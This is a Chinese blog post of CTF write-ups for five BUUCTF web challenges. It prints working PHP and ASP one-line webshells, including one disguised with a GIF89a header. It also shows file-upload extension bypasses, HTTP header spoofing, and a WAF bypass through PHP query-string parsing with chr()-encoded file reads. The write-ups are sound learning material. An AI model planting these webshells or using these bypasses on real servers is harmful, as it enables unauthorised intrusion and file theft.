前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUU-WEB-第三章

BUU-WEB-第三章

作者头像
Baige
发布2022-03-22 10:40:51
1.1K0
发布2022-03-22 10:40:51
举报
文章被收录于专栏:世荣的博客

11.[极客大挑战 2019]Knife

这道题说是白给了,那就直接冲! 分析一波题目: 拿到题目先看URL再看网页面,四处点击看看有没有什么可点击的地方,然后再看下网页源代码,这是做WEB题的纪律性习惯,没有发现什么线索,那就再来看这段字符串:eval($_POST["Syc"]) 这是作为后门用post提交一个字符串Syc,刚好题目名字是Knife,这就不然而然的想起来了-菜刀。 中国菜刀-一般针对一句话木马,短小精悍,隐蔽性好。

代码语言:javascript
复制
asp一句话木马: <%execute(request("value"))%>
php一句话木马: <?php @eval($_POST[value]);?>

由于我用的是Mac,而且我通常习惯用蚁剑,这里我就用蚁剑了。 好了,那就直接开始操作了:

代码语言:javascript
复制
网址:http://0285d5fc-e343-4fb8-9967-5b84468767cb.node4.buuoj.cn:81/
密码:Syc

根目录找到了flag,直接搞定,真的是白给。

12.[极客大挑战 2019]Http

审计源码发现一个Secret.php,这说明啥:做WEB题要有纪律性操作!

点进去网页看看是啥:It doesn't come from 'https://www.Sycsecret.com'

这是提示访问此网站的来源不对,需要我们添加伪协议的请求头,这种体型在Bug-Ku和XCTF平台都有,大家也可以去练练。 考点是对Burp Suite的使用,打开Burp Suite先抓包,然后用Repeater send,返回的就是错误请求头,这里我们改一下。

添加成功了。但是并没有完全成功,这里返回的还有一句话:Please use "Syclover" browser

其实就是提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容

emmm还是不行,提示需要我们本地访问,那就继续改。

成功拿下,这道题很不错,非常推荐新手练习!!!

13.[极客大挑战 2019]Upload

这是一个文件上传的题目,不论从题目名字或者题目环境来看,开始解题吧。 先上传一句话木马试试,这里格式直接不变,先上传看看:

代码语言:javascript
复制
<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>

这么一个个改有些许麻烦,这里我就换成Burp Suite

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 但是前几个php格式的都被ban了,将文件改为phtml可以了,但是不能带<?

代码语言:javascript
复制
换个一句话木马:GIF89a? <script language="php">eval($_REQUEST[1])</script>

现在需要知道图片的保存路径了,一般都是upload/filename,访问一下:

木马图上传成功了,现在用蚁剑连接!

路径就是/upload/filename,密码就是一句话木马中request里面的内容。 连接不成功,测试了几遍不知道哪里出了问题,这里再改一下文件名,再来一个。

看来不能用英文名,这里我上传了两个:一句话.php和shell666.php

14.[RoarCTF 2019]Easy Calc

查看网页源码发现了:calc.php怎么说,纪律性的东西不能少,那就去访问一下。

代码语言:javascript
复制
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

给num参数传字母不行,传数字还是可以的。再看环境一开始的源码有一句绿色的语句:

代码语言:javascript
复制
<!--I've set up WAF to ensure security.-->

WAF的问题:WAF不允许num传入字母,那我们可以在num前加个空格来绕过WAF 这里利用PHP的字符串解析特性来绕过WAF,如:

代码语言:javascript
复制
calc.php? num=phpinfo();

扫根目录下的所有文件,也就是scandir("/"),先别问为什么看我操作,一会我会解释。

代码语言:javascript
复制
? num=print_r(scandir('/'));
这里由于单引号被过滤了,那就用chr()绕过,chr(47)就是斜杠/
? num=print_r(scandir(chr(47)));

![f1agg [8] ][25] 读取f1agg文件:

代码语言:javascript
复制
? num=print_r(file_get_contents('/flagg'));
这里/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)来进行绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

好了,解出来了,思路是对的,现在我来细说:为什么?

知识点:1.1 PHP的字符串解析特性:这是别人对PHP字符串解析漏洞的理解,我们知道PHP将查询字符串(在URL或正文中)转换为内部_GET或的关联数组_POST。

代码语言:javascript
复制
例如:/?foo=bar变成Array([foo] => “bar”)

值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。

代码语言:javascript
复制
例如,/?%20news[id%00=42会转换为Array([news_id] => 42)

如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

代码语言:javascript
复制
/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

代码语言:javascript
复制
1.删除空白符
2.将某些字符转换为下划线(包括空格)

假如waf不允许num变量传递字母:

代码语言:javascript
复制
http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话

那么我们可以在num前加个空格:

代码语言:javascript
复制
http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。 1.2 waf 原来waf我们是看不见的,我一直以为题里的源码,就是waf了。并且,waf并不是说,题目是用php写的,那么waf就一定是用php写的。也正因如此,这题的waf才会无法识别“ num”和“num”其实是一样的。 1.3 scandir() 列出 参数目录 中的文件和目录,要不然我们怎么知道flag在哪。 2.1 应用 存在高危漏洞,很明显传递函数,拿flag。 首先我们要先扫根目录下的所有文件,也就是是scandir("/"),但是“/”被过滤了,所以我们用chr(“47”)绕过,发现flagg文件 然后去读取这个文件就可以了,直接放payload:

代码语言:javascript
复制
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

15.[ACTF2020 新生赛]Upload

又是一道Upload,看看有什么区别吧,上一道Upload上传的木马shell666.phtml还在就直接用了。 这里限制了格式,只让上传图片格式,废话不多说直接拿出Burp Suite: 抓包,修改上传格式:phtml,直接上传成功,如果没有成功还可以换其它格式:php3,php4,php5

上蚁剑连接:

这是我上传的木马图:/var/www/html/uplo4d/

还是一样没什么区别,简单粗暴拿下flag。


中秋节,大家中秋节快乐!今天休息半天,告辞。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 09 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 11.[极客大挑战 2019]Knife
  • 12.[极客大挑战 2019]Http
  • 13.[极客大挑战 2019]Upload
  • 14.[RoarCTF 2019]Easy Calc
  • 15.[ACTF2020 新生赛]Upload
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档